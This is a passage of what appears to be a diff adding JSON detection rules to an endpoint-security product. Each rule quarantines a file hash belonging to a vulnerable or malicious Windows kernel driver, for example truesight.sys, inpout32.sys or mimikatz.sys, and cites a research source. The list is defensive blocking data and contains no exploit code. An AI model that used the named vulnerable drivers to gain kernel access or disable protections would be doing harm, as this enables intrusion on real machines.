+  "id": "d3503940-6000-529f-8a0b-1df34e5d34c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621811Z",
+  "creation_date": "2026-03-23T11:45:29.621813Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621819Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b1af050481bda270a08ae873224a142c8b2119eeda59d3a04b1f6d66715a8c8",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d36ad9dd-0ee6-50a9-8c51-53db71c353b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830651Z",
+  "creation_date": "2026-03-23T11:45:30.830653Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6177613652eaf63a2cfc1bd377b5159980f2fb2ce12b88c2ad92a0e89157381",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d379808e-a35d-56ae-8b3e-750e784973ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495922Z",
+  "creation_date": "2026-03-23T11:45:31.495924Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495932Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20f7eb43732e7813d3af0a34e543f0cd3ebfc20f2c0f33139e0b3fe03c49dc45",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d37ca3f7-2cc8-5fe4-9558-9c5f29072061",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984493Z",
+  "creation_date": "2026-03-23T11:45:29.984495Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984501Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb2e8e98a58329e86a1ee310fe9dfce7056f4a0ede380eee8768c51b5870c433",
+  "comment": "Vulnerable Kernel Driver (aka inpout32.sys) [https://www.loldrivers.io/drivers/97fa88f6-3819-4d56-a82c-52a492a9e2b5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3851bce-2f35-5e05-b403-daf2a9dec365",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815579Z",
+  "creation_date": "2026-03-23T11:45:31.815581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815586Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91fab8e79aebe13dc687702d6a7ccbf9293050fafd9b7d443b5000c40d408cec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d38b5a39-e354-5a16-8366-0051b28079a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811898Z",
+  "creation_date": "2026-03-23T11:45:31.811900Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811906Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e41e80a36e3e5f9c6444a626350712e2c12614f2256ada671e0218b24f46120d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3922563-da8b-58cc-af9d-155962770749",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479202Z",
+  "creation_date": "2026-03-23T11:45:30.479205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85686a6dec96776c2e8510fea7ca198b84429fb0b756a2d87ee1cc4570ac9b87",
+  "comment": "Vulnerable Kernel Driver (aka NCHGBIOS2x64.SYS) [https://www.loldrivers.io/drivers/d2806397-9ceb-47c8-b5f3-3aabec182ff5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3969778-ce1d-52d9-91d2-6cd5f3719a96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829577Z",
+  "creation_date": "2026-03-23T11:45:30.829581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829589Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b27c91559b2f4f1736685edee9f9e250dcbd91b479aaae27bbb3ca5b37deb052",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3a41f63-f28f-53b4-b367-0dc912d403a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472554Z",
+  "creation_date": "2026-03-23T11:45:31.472557Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14156ba6bb21cb431a2d70a16df7a54ad7d94febdc4066654b565552098f5f83",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3aa06f7-b993-5fb1-b89b-b7bb9c9453f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816574Z",
+  "creation_date": "2026-03-23T11:45:30.816576Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bcaeac1a4a51b210bfc5ebdb6f797797299a171e0b6d50aa8f9bcdb45a51d629",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3b353f4-4447-5219-999b-5c6e6d4eadbc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488483Z",
+  "creation_date": "2026-03-23T11:45:31.488485Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488490Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3fb8d303387f8036e38525aa384030a6e3bc79697f8c5e48188347c7d2704b7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3d2d931-f613-549d-82aa-1372d91432a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824058Z",
+  "creation_date": "2026-03-23T11:45:31.824061Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824068Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b0d607abf3d48c6ac77185644fe98a87dc795fe302686464cc700dcb8dfa19b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3e51087-bb5b-5b87-9d98-6723f79f3224",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461837Z",
+  "creation_date": "2026-03-23T11:45:30.461841Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461850Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47356707e610cfd0be97595fbe55246b96a69141e1da579e6f662ddda6dc5280",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3e55608-eccc-5b02-b8ec-eef60cddcf0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492485Z",
+  "creation_date": "2026-03-23T11:45:31.492487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492493Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "600a17409fa52c474a72ab3f5d85817ef052954f81055f558054ecf575808b4a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d3ebe340-1af9-5faa-ae16-85fc43f7668a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481079Z",
+  "creation_date": "2026-03-23T11:45:30.481081Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481087Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c3ac6f22b3f1614ad0c01c180421f7588460accba5065562bf735d24bd3c674",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d4082f0d-8d50-5184-900d-0634dcbbf8a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830499Z",
+  "creation_date": "2026-03-23T11:45:31.830501Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830506Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1aed62a63b4802e599bbd33162319129501d603cceeb5e1eb22fd4733b3018a3",
+  "comment": "Vulnerable Rentdrv2 Driver (aka rentdrv2_x32.sys and rentdrv_x64.sys) [https://github.com/keowu/BadRentdrv2, https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d40b5174-6f69-5a46-84cc-5e170c407b67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820929Z",
+  "creation_date": "2026-03-23T11:45:30.820931Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820936Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39134750f909987f6ebb46cf37519bb80707be0ca2017f3735018bac795a3f8d",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d422193a-dbfc-5ece-9450-f79eaa4e60a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819088Z",
+  "creation_date": "2026-03-23T11:45:30.819090Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "533b8138ab8f776008ff8918c8cfa52604e43efca4e39da5096404c8424084b7",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d433523c-2392-5f7d-aa32-b6f6565a52c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976625Z",
+  "creation_date": "2026-03-23T11:45:29.976627Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976632Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13cd99ff2120d9fd651814d826b6c8481d549f684a8fbfb2d8775c9faa1c27f5",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d45ef7ea-b157-5a73-a60e-f9f747a74eda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143165Z",
+  "creation_date": "2026-03-23T11:45:31.143167Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143173Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f2e0da56010ce28e88a10a08ee98b7015faad016243928b9b8426ef912eb057",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d4685b73-e054-51d9-adff-cf9145dcbc77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818084Z",
+  "creation_date": "2026-03-23T11:45:30.818086Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818091Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76940e313c27c7ff692051fbf1fbdec19c8c31a6723a9de7e15c3c1bec8186f6",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d46e1471-4e84-5d89-9691-f9b84b80c2ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620496Z",
+  "creation_date": "2026-03-23T11:45:29.620498Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620503Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c8dfa14888bb58848b4792fb1d8a921976a9463be8334cff45cc96f1276049a",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d47e7efb-c7ef-55dc-96d5-3dd1da19526d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
